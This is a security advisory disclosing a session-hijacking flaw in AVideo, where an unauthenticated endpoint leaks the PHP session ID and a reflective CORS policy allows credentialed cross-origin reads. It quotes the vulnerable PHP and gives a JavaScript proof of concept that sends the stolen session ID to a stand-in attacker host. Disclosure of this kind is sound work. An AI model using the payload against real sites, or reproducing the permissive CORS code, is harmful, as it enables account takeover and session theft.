AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS

Summary

/objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover.

Details

File: objects/phpsessionid.json.php

allowOrigin();
$obj = new stdClass();
$obj->phpsessid = session_id();
echo _json_encode($obj);

No authentication is required. The allowOrigin() function in objects/functions.php (line ~2648) reflects the request Origin:

$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
header("Access-Control-Allow-Credentials: true");

This means any external website can make a credentialed cross-origin request and read the session ID.

PoC

An attacker hosts the following page:

<script>
fetch('https://TARGET/objects/phpsessionid.json.php', {
  credentials: 'include'
})
.then(r => r.json())
.then(d => {
  // d.phpsessid = victim's session ID
  document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;
});
</script>

When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.

Impact

Account Takeover — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.